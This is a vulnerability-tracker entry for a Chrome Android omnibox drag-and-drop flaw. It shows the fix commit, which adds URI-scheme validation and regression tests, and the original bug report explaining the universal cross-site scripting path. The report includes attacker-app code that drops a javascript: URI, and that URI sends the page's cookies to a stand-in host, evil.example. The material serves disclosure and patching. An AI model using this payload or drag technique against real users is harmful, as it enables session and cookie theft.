Medium chrome Memory Corruption 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactMemory corruption in Omnibox
DescriptionMemory corruption in Omnibox
ComponentOmnibox
Sub-componentUI>Browser>Omnibox
Bug ClassMemory Corruption
Tracker541604102
Fix commit8cacf53ade08 (chromium/src) +218/-6
CISA KEVNot listed
CreditedAnonymous
Disclosed2026-10-20

Files Changed

  • chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java
  • chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandlerUnitTest.java
From 8cacf53ade0871ee3e5874cbf2b8c0b92f9ca407 Mon Sep 17 00:00:00 2001
From: Yoshisato Yanagisawa <yyanagisawa@chromium.org>
Date: Fri, 18 Sep 2026 12:13:51 -0700
Subject: [PATCH] Validate dropped URI schemes in LocationBarDragDropHandler

Ensure that direct URI items dropped onto the location bar are
verified to have a content or file scheme before resolving MIME types
or applying fallback clip descriptions. Previously, items with other
URI schemes could be accepted if the clip description matched
acceptable MIME types.

Additionally, use case-insensitive comparisons for URI schemes and
catch exceptions that may arise when querying the content resolver for
MIME types.

Fixed: 541604102
Change-Id: Ib7fc268979af9ccc6feff55864899da00ea3e4e9
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8429467
Auto-Submit: Tomasz Wiszkowski <ender@google.com>
Commit-Queue: Tomasz Wiszkowski <ender@google.com>
Reviewed-by: Sky Malice <skym@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1701009}
---
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java
index 2e4bf6e..96fd4f0 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java
@@ -115,7 +115,7 @@
 
             String url = uriToLoad.toString();
             if (permissions != null
-                    && ContentResolver.SCHEME_CONTENT.equals(uriToLoad.getScheme())) {
+                    && ContentResolver.SCHEME_CONTENT.equalsIgnoreCase(uriToLoad.getScheme())) {
                 tab.addObserver(new DragAndDropPermissionsReleaseObserver(tab, permissions));
                 permissions = null;
             }
@@ -159,10 +159,14 @@
     @VisibleForTesting
     @Nullable
     String getMimeType(Context context, Uri uri) {
-        if (ContentResolver.SCHEME_CONTENT.equals(uri.getScheme())) {
-            return context.getContentResolver().getType(uri);
+        if (ContentResolver.SCHEME_CONTENT.equalsIgnoreCase(uri.getScheme())) {
+            try {
+                return context.getContentResolver().getType(uri);
+            } catch (Exception e) {
+                return null;
+            }
         }
-        if (!ContentResolver.SCHEME_FILE.equals(uri.getScheme())) {
+        if (!ContentResolver.SCHEME_FILE.equalsIgnoreCase(uri.getScheme())) {
             return null;
         }
         String extension = MimeTypeMap.getFileExtensionFromUrl(uri.toString());
@@ -204,7 +208,7 @@
     boolean hasContentUri(ClipData clipData) {
         for (int i = 0; i < clipData.getItemCount(); i++) {
             Uri uri = clipData.getItemAt(i).getUri();
-            if (uri != null && ContentResolver.SCHEME_CONTENT.equals(uri.getScheme())) {
+            if (uri != null && ContentResolver.SCHEME_CONTENT.equalsIgnoreCase(uri.getScheme())) {
                 return true;
             }
         }
@@ -212,6 +216,20 @@
     }
 
     /**
+     * Checks if the URI has a content or file scheme (case-insensitive).
+     *
+     * @param uri The URI to check.
+     * @return True if the URI has a content or file scheme, false otherwise.
+     */
+    @VisibleForTesting
+    boolean isContentOrFileUri(@Nullable Uri uri) {
+        if (uri == null) return false;
+        String scheme = uri.getScheme();
+        return ContentResolver.SCHEME_CONTENT.equalsIgnoreCase(scheme)
+                || ContentResolver.SCHEME_FILE.equalsIgnoreCase(scheme);
+    }
+
+    /**
      * Finds the first acceptable URI in the clip data to load. If the clip data contains a single
      * item and its mime type cannot be determined from the URI, it falls back to checking the clip
      * description.
@@ -240,7 +258,7 @@
             }
 
             Uri uri = item.getUri();
-            if (uri == null) continue;
+            if (uri == null || !isContentOrFileUri(uri)) continue;
 
             String mimeType = getMimeType(context, uri);
             if (mimeType == null && clipData.getItemCount() == 1 && desc != null) {
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandlerUnitTest.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandlerUnitTest.java
index 0b808f6..a198cdf 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandlerUnitTest.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandlerUnitTest.java
@@ -51,6 +51,7 @@
 import org.chromium.url.GURL;
 
 import java.lang.ref.WeakReference;
+import java.util.List;
 
 /** Unit tests for {@link LocationBarDragDropHandler}. */
 @RunWith(BaseRobolectricTestRunner.class)
@@ -253,6 +254,21 @@
     }
 
     @Test
+    public void testIsContentOrFileUri() {
+        assertTrue(mHandler.isContentOrFileUri(Uri.parse("content://com.example/doc")));
+        assertTrue(mHandler.isContentOrFileUri(Uri.parse("CONTENT://com.example/doc")));
+        assertTrue(mHandler.isContentOrFileUri(Uri.parse("file:///path/to/file.txt")));
+        assertTrue(mHandler.isContentOrFileUri(Uri.parse("FILE:///path/to/file.txt")));
+        assertFalse(mHandler.isContentOrFileUri(Uri.parse("http://example.com")));
+        assertFalse(mHandler.isContentOrFileUri(Uri.parse("https://example.com")));
+        assertFalse(mHandler.isContentOrFileUri(Uri.parse("javascript:alert(1)")));
+        assertFalse(mHandler.isContentOrFileUri(Uri.parse("data:text/html,sample_data")));
+        assertFalse(mHandler.isContentOrFileUri(Uri.parse("chrome://flags")));
+        assertFalse(mHandler.isContentOrFileUri(null));
+        assertFalse(mHandler.isContentOrFileUri(Uri.EMPTY));
+    }
+
+    @Test
     public void testGetMimeType() {
         // Content URI
         Uri contentUri = Uri.parse("content://com.example.provider/doc");
@@ -431,4 +447,182 @@
 
         assertNull(mHandler.findUriToLoad(mContext, clipData, null));
     }
+
+    @Test
+    public void testFindUriToLoad_RejectsJavascriptUriWithFallbackMimeType() {
+        Uri uri = Uri.parse("javascript:alert(1)");
+        ClipData clipData =
+                new ClipData("url", new String[] {"text/plain"}, new ClipData.Item(uri));
+        ClipDescription desc = new ClipDescription("url", new String[] {"text/plain"});
+
+        assertNull(mHandler.findUriToLoad(mContext, clipData, desc));
+    }
+
+    @Test
+    public void testOnDrag_Drop_JavascriptUri_Rejected() {
+        Uri uri = Uri.parse("javascript:alert(1)");
+        ClipData clipData =
+                new ClipData("url", new String[] {"text/plain"}, new ClipData.Item(uri));
+
+        when(mDragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP);
+        when(mDragEvent.getClipData()).thenReturn(clipData);
+        when(mDragEvent.getClipDescription()).thenReturn(clipData.getDescription());
+        when(mWindowAndroid.getActivity()).thenReturn(new WeakReference<>(mActivity));
+
+        assertFalse(mHandler.onDrag(new View(mContext), mDragEvent));
+        verify(mOmniboxStub, never()).loadUrl(any());
+    }
+
+    @Test
+    public void testFindUriToLoad_RejectsDataUri() {
+        Uri uri = Uri.parse("data:text/html,sample_data");
+        ClipData clipData =
+                new ClipData("data", new String[] {"text/html"}, new ClipData.Item(uri));
+        ClipDescription desc = new ClipDescription("data", new String[] {"text/html"});
+
+        assertNull(mHandler.findUriToLoad(mContext, clipData, desc));
+    }
+
+    @Test
+    public void testFindUriToLoad_RejectsChromeAndAboutSchemes() {
+        for (String urlStr :
+                List.of(
+                        "chrome://flags",
+                        "chrome-native://bookmarks",
+                        "about:blank",
+                        "about:flags")) {
+            Uri uri = Uri.parse(urlStr);
+            ClipData clipData =
+                    new ClipData("internal", new String[] {"text/plain"}, new ClipData.Item(uri));
+            ClipDescription desc = new ClipDescription("internal", new String[] {"text/plain"});
+
+            assertNull(
+                    "Scheme should be rejected: " + urlStr,
+                    mHandler.findUriToLoad(mContext, clipData, desc));
+        }
+    }
+
+    @Test
+    public void testFindUriToLoad_RejectsOtherDisallowedSchemes() {
+        for (String urlStr :
+                List.of(
+                        "jar:file:///path.jar!/file.txt",
+                        "blob:https://example.com/sample",
+                        "intent:#Intent;action=VIEW;end")) {
+            Uri uri = Uri.parse(urlStr);
+            ClipData clipData =
+                    new ClipData("disallowed", new String[] {"text/plain"}, new ClipData.Item(uri));
+            ClipDescription desc = new ClipDescription("disallowed", new String[] {"text/plain"});
+
+            assertNull(
+                    "Scheme should be rejected: " + urlStr,
+                    mHandler.findUriToLoad(mContext, clipData, desc));
+        }
+    }
+
+    @Test
+    public void testFindUriToLoad_RejectsUppercaseJavascriptUri() {
+        Uri uri = Uri.parse("JAVASCRIPT:alert(1)");
+        ClipData clipData =
+                new ClipData("url", new String[] {"text/plain"}, new ClipData.Item(uri));
+        ClipDescription desc = new ClipDescription("url", new String[] {"text/plain"});
+
+        assertNull(mHandler.findUriToLoad(mContext, clipData, desc));
+    }
+
+    @Test
+    public void testOnDrag_Drop_UppercaseContentUri_AcceptedWithPermissions() {
+        Uri contentUri = Uri.parse("CONTENT://com.example.provider/document.pdf");
+        ClipData clipData =
+                new ClipData(
+                        "doc", new String[] {"application/pdf"}, new ClipData.Item(contentUri));
+        when(mDragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP);
+        when(mDragEvent.getClipData()).thenReturn(clipData);
+        when(mDragEvent.getClipDescription()).thenReturn(clipData.getDescription());
+        when(mWindowAndroid.getActivity()).thenReturn(new WeakReference<>(mActivity));
+        when(mActivity.requestDragAndDropPermissions(mDragEvent))
+                .thenReturn(mDragAndDropPermissions);
+
+        assertTrue(mHandler.onDrag(new View(mContext), mDragEvent));
+        verify(mTab).addObserver(any());
+        verify(mOmniboxStub).loadUrl(mLoadUrlParamsCaptor.capture());
+        assertEquals(
+                "CONTENT://com.example.provider/document.pdf", mLoadUrlParamsCaptor.getValue().url);
+    }
+
+    @Test
+    public void testOnDrag_Drop_UppercaseFileUri_Accepted() {
+        Uri fileUri = Uri.parse("FILE:///path/to/file.txt");
+        ClipData clipData =
+                new ClipData("file", new String[] {"text/plain"}, new ClipData.Item(fileUri));
+
+        when(mDragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP);
+        when(mDragEvent.getClipData()).thenReturn(clipData);
+        when(mDragEvent.getClipDescription()).thenReturn(clipData.getDescription());
+        when(mWindowAndroid.getActivity()).thenReturn(new WeakReference<>(mActivity));
+
+        assertTrue(mHandler.onDrag(new View(mContext), mDragEvent));
+        verify(mOmniboxStub).loadUrl(mLoadUrlParamsCaptor.capture());
+        assertEquals("FILE:///path/to/file.txt", mLoadUrlParamsCaptor.getValue().url);
+    }
+
+    @Test
+    public void testOnDrag_Drop_SkipsUnsupportedUriScheme() {
+        Uri fileUri = Uri.parse("file:///path/to/file.txt");
+        ClipData clipData =
+                new ClipData(
+                        "text",
+                        new String[] {"text/plain"},
+                        new ClipData.Item(Uri.parse("javascript:alert(1)")));
+        clipData.addItem(new ClipData.Item(fileUri));
+
+        when(mDragEvent.getAction()).thenReturn(DragEvent.ACTION_DROP);
+        when(mDragEvent.getClipData()).thenReturn(clipData);
+        when(mDragEvent.getClipDescription()).thenReturn(clipData.getDescription());
+        when(mWindowAndroid.getActivity()).thenReturn(new WeakReference<>(mActivity));
+
+        assertTrue(mHandler.onDrag(new View(mContext), mDragEvent));
+        verify(mOmniboxStub).loadUrl(mLoadUrlParamsCaptor.capture());
+        assertEquals("file:///path/to/file.txt", mLoadUrlParamsCaptor.getValue().url);
+    }
+
+    @Test
+    public void testFindUriToLoad_FallbackMimeTypeOnlyForContentOrFile() {
+        // Content URI with null getType() -> Uses fallback -> Accepted
+        Uri contentUri = Uri.parse("content://com.example.provider/sample");
+        when(mContentProvider.getType(contentUri)).thenReturn(null);
+        ShadowContentResolver.registerProviderInternal("com.example.provider", mContentProvider);
+        ClipData contentClip =
+                new ClipData(
+                        "doc", new String[] {"application/pdf"}, new ClipData.Item(contentUri));
+        assertEquals(
+                contentUri,
+                mHandler.findUriToLoad(mContext, contentClip, contentClip.getDescription()));
+
+        // File URI with no extension -> Uses fallback -> Accepted
+        Uri fileUri = Uri.parse("file:///path/to/no_extension_file");
+        ClipData fileClip =
+                new ClipData("file", new String[] {"text/plain"}, new ClipData.Item(fileUri));
+        assertEquals(
+                fileUri, mHandler.findUriToLoad(mContext, fileClip, fileClip.getDescription()));
+
+        // Non-content/file URI with null getMimeType() -> Fallback blocked -> Rejected
+        Uri jsUri = Uri.parse("javascript:alert(1)");
+        ClipData jsClip = new ClipData("js", new String[] {"text/plain"}, new ClipData.Item(jsUri));
+        assertNull(mHandler.findUriToLoad(mContext, jsClip, jsClip.getDescription()));
+    }
+
+    @Test
+    public void testFindUriToLoad_RejectsSchemelessOrMalformedUri() {
+        for (String urlStr : List.of("//example.com", "relative/path/file.txt", "   ")) {
+            Uri uri = Uri.parse(urlStr);
+            ClipData clipData =
+                    new ClipData("malformed", new String[] {"text/plain"}, new ClipData.Item(uri));
+            ClipDescription desc = new ClipDescription("malformed", new String[] {"text/plain"});
+
+            assertNull(
+                    "Schemeless/malformed URI should be rejected: " + urlStr,
+                    mHandler.findUriToLoad(mContext, clipData, desc));
+        }
+    }
 }
Loading diff…

Original Bug Report

reported by bi...@gmail.com

Android omnibox drag&drop loads dropped javascript: URI as TYPED nav -> UXSS in current page

Steps to reproduce the problem

Affected build: Android Chrome containing commit 78e6ce2 (present in current origin/main, 153.0.7986.0). Device must be unmanaged (no enterprise DevTools/URLBlocklist restriction).

  1. Build/run an attacker “drag source” app on the same device. Put a javascript: URI into a ClipData.Item and start a global drag. Either of two forms is accepted by the handler:

    Form A — Intent with BROWSABLE category (most direct, no MIME needed):

    String p = "javascript:fetch('https://evil.example/s?c='+encodeURIComponent(document.cookie))";
    Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse(p)).addCategory(Intent.CATEGORY_BROWSABLE);
    ClipData clip = new ClipData(new ClipDescription("d", new String[]{ "text/plain" }),
                                 new ClipData.Item(i));
    view.startDragAndDrop(clip, new View.DragShadowBuilder(view), null, View.DRAG_FLAG_GLOBAL);
    

    Form B — URI item + declared text/plain (MIME fallback path):

    ClipData clip = new ClipData(new ClipDescription("d", new String[]{ "text/plain" }),
                                 new ClipData.Item(Uri.parse(p)));
    view.startDragAndDrop(clip, new View.DragShadowBuilder(view), null, View.DRAG_FLAG_GLOBAL);
    
  2. Open Chrome; navigate the current tab to a site you are logged into (e.g. https://mail.example.com).

  3. Put Chrome and the attacker app side by side (split-screen / multi-window).

  4. Drag from the attacker app and drop onto Chrome’s address bar / URL bar.

Result: the javascript: URI is loaded as an omnibox navigation (PageTransition.TYPED) and the JavaScript executes in the origin of the currently displayed page (the sample payload exfiltrates that site’s cookies).

> Note: a live PoC was not executed. The attacker-app code and steps above are a reproduction plan derived from source analysis; the vulnerable code paths in Problem Description are verified in tree.

Problem Description

The Android LocationBar drag-and-drop handler resolves a URI from dropped content and loads it into the omnibox with PageTransition.TYPED, but never validates the URI’s scheme. A javascript: URI dropped from another app therefore executes in the currently displayed page’s origin → UXSS.

1. The handler is wired to the address bar and URL bar. chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediator.java:556-557

mLocationBarLayout.setOnDragListener(dragDropHandler);
mLocationBarLayout.getUrlBar().setOnDragListener(dragDropHandler);

2. The sink: dropped URI is navigated as-is with the highest-trust transition, no scheme check. chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:112-122 (acceptDrop)

Uri uriToLoad = findUriToLoad(context, clipData, event.getClipDescription());
if (uriToLoad == null) return false;

String url = uriToLoad.toString();                         // scheme of uriToLoad never validated
if (permissions != null
        && ContentResolver.SCHEME_CONTENT.equals(uriToLoad.getScheme())) {  // only used to release perms
    tab.addObserver(new DragAndDropPermissionsReleaseObserver(tab, permissions));
    permissions = null;
}
mOmniboxStub.loadUrl(
        new OmniboxLoadUrlParams.Builder(url, PageTransition.TYPED).build());  // top-trust navigation

3. Why a javascript: URI is accepted — no scheme validation in either branch. chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:225-251 (findUriToLoad)

Uri findUriToLoad(Context context, ClipData clipData, @Nullable ClipDescription desc) {
    for (int i = 0; i < clipData.getItemCount(); i++) {
        ClipData.Item item = clipData.getItemAt(i);

        // Detect URL drops first.
        Intent intent = item.getIntent();
        if (intent != null && intent.hasCategory(Intent.CATEGORY_BROWSABLE)) {
            Uri uri = intent.getData();
            if (uri != null) {
                return uri;                    // (Form A) returned with NO mime or scheme check
            }
        }

        Uri uri = item.getUri();
        if (uri == null) continue;

        String mimeType = getMimeType(context, uri);
        if (mimeType == null && clipData.getItemCount() == 1 && desc != null) {
            mimeType = getFallbackMimeType(desc);   // (Form B) falls back to DECLARED mime types
        }

        if (mimeType != null && isAcceptableMimeType(mimeType)) {
            return uri;                        // scheme of uri never examined
        }
    }
    return null;
}

For Form B, getMimeType() returns null for any non-content/non-file scheme (so javascript: → null, forcing the fallback): chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:160-173 (getMimeType)

String getMimeType(Context context, Uri uri) {
    if (ContentResolver.SCHEME_CONTENT.equals(uri.getScheme())) {
        return context.getContentResolver().getType(uri);
    }
    if (!ContentResolver.SCHEME_FILE.equals(uri.getScheme())) {
        return null;                           // javascript:, data:, intent: ... -> null
    }
    ...
}

and getFallbackMimeType() inspects only the MIME types the ClipDescription declares (e.g. text/plain) — never the URI’s real scheme: chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:184-192 (getFallbackMimeType)

String getFallbackMimeType(ClipDescription desc) {
    for (int i = 0; i < desc.getMimeTypeCount(); i++) {
        String type = desc.getMimeType(i);
        if (isAcceptableMimeType(type)) {      // "text/plain" -> true
            return type;
        }
    }
    return null;
}

4. Downstream sink has no javascript: filter. chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediator.java — loadUrl() special-cases only chrome-extension:// (line 1009); every other scheme flows to the navigation:

LoadUrlParams loadUrlParams = new LoadUrlParams(url);                    // :1052  raw url
loadUrlParams.setTransitionType(
        omniboxLoadUrlParams.transitionType | PageTransition.FROM_ADDRESS_BAR);  // :1062
...
currentTab.loadUrl(loadUrlParams);                                       // :1112

Additional Comments

5. The content layer executes it. content/browser/renderer_host/navigation_controller_impl.cc:4303-4322 — a javascript: URL is a renderer-debug URL and is dispatched via HandleRendererDebugURL to run in the current document. Neither guard stops this drop:

if (blink::IsRendererDebugURL(params.url)) {
    if (GetContentClient()->browser()->ShouldBlockRendererDebugURL(
            params.url, browser_context_, node->current_frame_host())) {
        DiscardPendingEntry(false);
        return nullptr;                        // blocks only on enterprise policy
    }
    if (params.initiator_origin.has_value() &&
        params.initiator_origin->opaque()) {   // browser-initiated drop has NO initiator_origin
        DiscardPendingEntry(true);
        return nullptr;
    }
    HandleRendererDebugURL(node, params.url);   // executes JS in the current document
    return nullptr;
}

ShouldBlockRendererDebugURL returns true only under enterprise policy (chrome/browser/chrome_content_browser_client.cc:7756), and the opaque-initiator check is skipped because a drop-initiated omnibox navigation is browser-initiated (no initiator_origin) — the same reason legitimately typed javascript: bookmarklets execute.

6. The existing self-XSS protection is bypassed. components/omnibox/browser/omnibox_text_util.cc:26 — StripJavascriptSchemas() strips javascript: from typed/pasted omnibox text, but this drag path builds OmniboxLoadUrlParams directly and never passes through the text-input layer. So a single drag-and-drop runs the script with none of the “I understand” paste friction.

Impact: arbitrary JavaScript in the origin of whatever site the victim currently has open, including authenticated sessions — cookie/token/DOM theft and actions as the logged-in user (UXSS).


Additional Comments

Root cause is in the new class LocationBarDragDropHandler (chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java) plus its wiring in LocationBarMediator.java.

Suggested fix: in acceptDrop(), before navigating, reject any resolved URI whose scheme is not in an explicit allow-list (http/https/content/file); explicitly reject javascript:, data:, intent:. This must cover both branches of findUriToLoad (the intent.getData() / BROWSABLE path and the item.getUri() / MIME-fallback path). Lowering the transition type alone is insufficient because the content layer executes browser-initiated javascript: regardless. Consider routing dropped text through the same sanitization used for pasted omnibox input, and add a regression test asserting a dropped javascript: URI is rejected.

Summary

Android omnibox drag&drop loads dropped javascript: URI as TYPED nav -> UXSS in current page

Custom Questions

Type of crash:

XSS

Reporter credit:

Anonymous

Additional Data

Category: Security
Chrome Channel: Stable
Regression: N/A \

View on issue tracker
Links in the report